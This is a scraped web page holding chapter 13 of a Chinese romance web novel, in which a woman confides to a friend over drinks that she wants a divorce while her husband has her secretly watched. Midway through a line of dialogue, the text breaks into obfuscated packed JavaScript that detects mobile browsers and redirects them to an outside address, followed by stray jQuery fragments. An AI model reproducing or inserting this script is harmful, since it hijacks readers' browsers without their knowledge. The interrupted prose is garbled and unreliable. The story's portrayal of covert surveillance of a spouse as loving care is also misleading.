万书库 > 其他小说 > 赌约[先婚后爱] > 13. chapter 13
    当男人身上那似有似无的压迫感从身边消失,屋内安静得只剩下自己微薄的呼吸声。


    无声的寂寥叫谢予薇不安,她阖上门,坐在地毯上,时刻留意外头的声响,可惜家里足够大,压根没什么动静传到她的耳朵里。


    静悄悄的氛围叫她心里犯堵,谢予薇指发觉自己头一回厌恶这样的平静,那些积淤的气堆积在胸口,如何也发不出,她恨不得冲进客卧将言铮拉出来,与他痛快大吵一架。


    但以她对言铮的了解,这条路行不通,言铮那样沉着冷清的性格,纵使自己指着他的鼻子骂,他也只会温吞地接受自己的控诉,等自己控诉完了,再叫自己好生休息。


    他仿佛是座覆雪的青山,再猛烈的风雨也只能从他身上刮下些不甚紧要的碎玉乱琼,骤雨过后,他依旧不动如山地矗立在那里。


    就宛如海市蜃楼般,只能叫人远远观着,凑近了却是一片虚无茫然。


    谢予薇在门边思索半晌,最终还是拿起手机,摸出了一串号码。


    “喂?”沈舒媛那头安静得没有杂音,听上去也是在她家里。


    谢予薇夹着电话走进更衣室,拉开衣柜对着自己一排成衣挑挑拣拣,“出来喝酒。”


    沈舒媛还当是恶作剧,稀罕道:“都十点了,言铮愿意放你出来?”


    “我是他的什么人啊,我干什么还得给他上报?”说起这个谢予薇就来气,水灵的杏眼里跳起了两簇火苗,她选了件紧身黑裤穿上,准备在底下配双长靴,“咱们出来就是了,还是去闻毅那儿,我一会儿给他打个电话让他把位子给我空出来。”


    “行行行,我来就是了。”沈舒媛听她这愤懑的语气就觉着有事,笑着应下,“你也是会挑时间,我今天刚从老宅回来。”


    沈舒媛家里管得严,对男女一视同仁,那家教比起言家来有过之而无不及,也得亏了沈舒媛和上头两个哥哥一条心,才得了个成年后搬出家独居的自由,不再受她奶奶赵淑贞所谓大家闺秀的管束。


    大概是因着自小被压抑惯了,成年后的沈舒媛终于敢于开口说不,性子野起来连谢予薇都自愧不如,在外头玩得风风火火,回了老宅还是会端起自己淑女的架子,省得老人念叨。


    谢予薇早已习惯了她人前人后判若两人,遇到他家长辈问起沈舒媛的事,也会习惯性地替她遮掩一二。


    见梁淼答应,谢予薇也从柜子里选了件皮夹克穿上,站在镜子前补了个口红,一改今日去言家吃饭时温柔的裸粉,报复般性地在唇上添上一抹秾丽的正红,“那我现在出门。”


    化完妆打开门,谢予薇才发觉客厅里安静得出奇,连一盏灯都没留。


    谢予薇站在栏杆边向下望,猜到言铮大概已经睡了,怕言铮发现,蹑手蹑脚地下楼,戴上口罩走到地下室,想了想,还是准备自己开车出去,回来再让闻毅给自己找个代驾。


    临近冬日的夜晚薄凉,风中带着冷意,吹乱谢予薇精心打理的发丝,院中的树影在风中轻颤,月色将地面镀上冰凉的冷光,谢予薇将自己的跑车停在院内,踩着长靴走了进去。


    闻毅的酒吧算是谢予薇和沈舒媛喝酒的老地方,闻毅这人还算可靠,嘴巴严,品味好,也不是个胡来的人,所以纵使身边开酒吧的朋友不少,谢予薇还是最常光顾闻毅这儿。


    吧台的琉璃灯光层层叠叠,空气里混着酒气与一股淡淡的花香,闻着让人舒心不已。


    谢予薇来酒吧时,沈舒媛正窝在包厢里嗑瓜子,手边的瓜子壳早就堆得和座小山一般高。


    “哟,这么漂亮?”听到开门的动静,沈舒媛往门边瞧了眼,上上下下地打量着眼谢予薇,口无遮拦道:“有种死了丈夫的美感。”


    谢予薇翻了个白眼,懒得理她。


    她今天就打了底妆,黑色皮衣配紧身裤,脚上踩了双双长筒靴,齐刘海下露出那张白净的脸,一头乌黑的直发披散肩头,一改往日乖觉的样貌,衬得她气质冷冽,配上唇上的鲜红口红,像是一株恰好绽放的红山茶。


    虽说谢予薇脸上的妆压根就没画全,但胜在五官底子太好,灯一打就像镜头下的人物。


    沈舒媛很少见到谢予薇这样凌厉的模样,将她从上到下欣赏一番,心道要不说怎么能出来当演员,还从未被人诟病过长相呢。


    也难怪当年言铮放着那么多家闺秀不娶,偏偏要娶谢予薇了。


    “诶。”谢予薇坐进沙发里,将包放下,提醒她,“别贫嘴。”


    她再讨厌言铮,也没到盼着他死掉的程度。


    “梁淼呢?”沈舒媛东张西望着,“你没叫她?”


    谢予薇古怪地看了她一眼,“和你哥呆一起呢,我不好意思叫她。”


    “我说呢,晚上在老宅吃完饭,我哥跟脚底抹油似的,走得比我都早。”沈舒媛咕哝了一声,支着头,“估计今晚不回来了。”


    谢予薇说:“小别胜新婚,挺好的。”


    至少人家夫妻可是真的两情相悦。


    沈舒媛意味深长地哦了声,道:“你倒是难得这个点主动约我出来喝酒。”


    一说到这个谢予薇就来火,她招呼服务生给自己调杯鸡尾酒,等到服务生将酒端上来,紧掩上门,才步入正题道:“心烦。”


    彩色玻璃灯投下一桌斑驳光影,谢予薇喝了一口,喉间灼热感让她找回一点清明,她斟酌了下,问:“你说我现在离婚,会不会被人骂忘恩负义?”


    沈舒媛拈着杯柄轻轻转动,琥珀色酒液在灯下漾出涟漪,她看着杯中的摇晃的酒液,不紧不慢地回答她,“你做好自己就好,为什么要考虑别人的想法。”


    “就是觉得对不起言铮。”谢予薇实话实说:“他妈妈对我其实挺好的。”


    她不是是非不分的性子,能理解杨泠想要个孙子承欢膝下,但她对言铮没有感情,也做不到稀里糊涂地跟言铮孕育一个孩子,所以她对不起言家,与其拖着言铮一辈子,不如自己早做了断。


    沈舒媛短暂地蹙了下眉,她和谢予薇认识了二十年,鲜少见到她这般愧疚的模样,不免插话道:“其实你不欠言铮什么,我听我哥说,因着言家当年帮你哥,你哥现在手底下好项目基本都拉上言铮分一杯羹。”


    “言铮赚得盆满钵满的,这桩联姻他也不亏啊。”


    “要我说,你想离就离。”沈舒媛喝了点酒,说话直接了当,“你哥欠他的,已经一点点还回来了。”


    杯壁水珠濡湿指尖,晃动的液面映出她恍惚的眉眼,谢予薇诧异地眯起眼,眼神涣散地盯着沈舒媛看。


    沈舒媛奇怪道:“你这么看我做什么?”


    谢予薇笑了下,说:“没有,觉得你对待感情的问题忽然变得理智了很多。”


    明明上周还和自己哭说前男友有新欢了呢。


    “那我那点小打小闹当然和你这不一样。”沈舒媛说:“只是觉得,没有言铮,你也能过得很好。”


    谢予薇曾经说过,她和言铮是联姻,言铮娶她是为着利益最大化。


    但沈舒媛不信,她能看出言铮对谢予薇是有感情的,这三年下来,对这对夫妻,她总觉得是言铮需要谢予薇,而非谢予薇需要言铮。


    “不过你为什么想离婚?”


    手边的鸡尾酒给喝饮料似的见底,谢予薇给自己倒上一杯新开的红酒,说:“言铮和他妈妈说,我们在备孕。”


    沈舒媛意外道:“你和他商量过了?”


    谢予薇扯了下唇角,迤逦的红唇微启,轻嘲道:“没有,我也是今晚才知道,我们俩原来在备孕。”


    “会不会有什么误会?”


    “我看言铮虽然对你约束了点,但都在可以接受的范围内。”沈舒媛分析道:“他不会违背你的意愿的。”


    “我不知道,但因为这件事,我从言家回来到现在,一直想和他吵一架。”


    “结果他让我冷静下。”谢予薇的指尖抵住太阳穴,说:“我睡不着,出来和你喝酒冷静。”


    沈舒媛对此并不奇怪,赞同地点点头,“不过这也像是言铮哥的作风。”


    “但话虽然这么说,要不你最近还是小心点。”沈舒媛提醒她,“跟他do的时候做好措施。”


    “……”谢予薇端酒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081810|194987||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的手一滞,那些搪塞在嘴边滚了一圈,还是实话实说:“我们没睡过。”


    空气骤然凝固,这回轮到沈舒媛诧异了,她拿瓜子的指尖顿在半空,问:“结婚三年了,你们没睡过?”


    “你也不看看结婚三年,我在京城呆了多久。”谢予薇没觉得有什么问题,“我哥三十岁生日我都没来,还每天抽时间和言铮培养感情?”


    “诶。”沈舒媛在桌下踢了踢谢予薇的脚,小心地询问:“言铮会不会不行啊。”


    谢予薇一愣,脑中缓慢地浮现出言铮宽阔的肩膀,和埋藏在衬衫下,似有似无的肌肉。


    看上去也没有到起不来的程度吧。


    喉头无声地吞咽了下,谢予薇的耳根微微发红,说:“他要是不举,怎么可能说出备孕这种话。”


    “也是,那都谈到这个话题了,容我多问一嘴。”沈舒媛撑着头看她,诧异地问:“你们现在是分床睡吗?”


    “今天吵架了,所以分床睡。”


    “那之前一直同床?你们没发生什么吗?”


    谢予薇摇摇头,“没有,我们那时候结婚就说好了,他不会勉强我。”


    “你呀——那也就是言铮哥守信用。”沈舒媛听出个大概来,挑了下眉,“你换做别的男人试试?”


    谢予薇不耐地睨了她一眼,她低头看了眼无名指上的婚戒,才想起自己从言家出来,忘记把它摘下来了,“你是来给他当说客的?”


    沈舒媛直白地举手投诚,“哪能啊,我还是站在你这边的。”


    “那你说说,想离婚,现在怎么个打算?”


    “拍完这部戏我的知名度会上去一点,我准备专心走电影。”


    沈舒媛提醒她,“电影咖需要资源。”


    “我知道,所以我嘚快些在这个圈子里站稳。”谢予薇端起酒一饮而尽,颇为认真道:“我会拼命演好这部戏,至少让我的表演挑不出错。”


    她得有自己的事业,才能安心地从家里脱离而出。


    -


    夜风萧索,滚过一地枯燥的落叶,沙沙作响,给本就人烟稀少的胡同添了几分萧条。


    十分钟前还在酒吧里招待跟几个公子哥的闻毅被请到车上,小心翼翼地喊了声,“铮哥。”


    言铮的半张脸隐在夜色里,叫人看不清神色。


    闻毅规规矩矩地主动汇报,“予薇姐没喝多少酒,我叫手底下的人看着呢,都是捡些度数低的送进去。”


    言铮点点头,目光掠过闻毅肩头,望向车窗外那点着盈盈灯火的小院,问:“里头就舒媛和她?”


    “对,我排了个包厢,就舒媛姐陪着。”


    言铮摘下滑到鼻梁的无框眼镜,揉了揉眉心,没再多问了,礼貌地点了点头,“我知道了,辛苦你出来一趟,你忙去吧。”


    “他们今天消费记我账上。”


    闻毅深深看了看言铮,连连点头,“行。”


    言铮吩咐前头的司机,“你留下,一会儿给夫人开车。”


    司机犹豫道:“言总,那你——”


    言铮摇下车窗,任由夜风灌入车内,捋平他微皱的衬衫,“我自己开车回去。”


    “你去里头坐着,夫人喝完了准备回来了,给我发个消息。”言铮说:“把沈小姐也送回去。”


    月光无声地浸透车上的皮质座椅,言铮望着那深深院落,出神了好一会儿。


    他大概真的是老了,心在日积月累中一点点地变小,再没年轻时那胆量了。


    尤其是在对谢予薇时,总会在脑子中想尽办法,想将她留在自己身边,他也知道谢予薇心思活络,总想着往天际飞。


    但哪怕谢予薇心思再野,言铮也不会多加阻拦,他只需要时刻为她兜底就好。


    可是言铮总怕她摔下来,怕因为一时疏忽有了意外,纵然有护住她的能力,但从那么高的地方跌落,难免也会磕碰受伤。


    所以言铮总想着时时看着她,但谢予薇显然不想这样。


    那他只能不露面,省得惹她不悦,再躲在背后,用自己的方式,替她周全一切。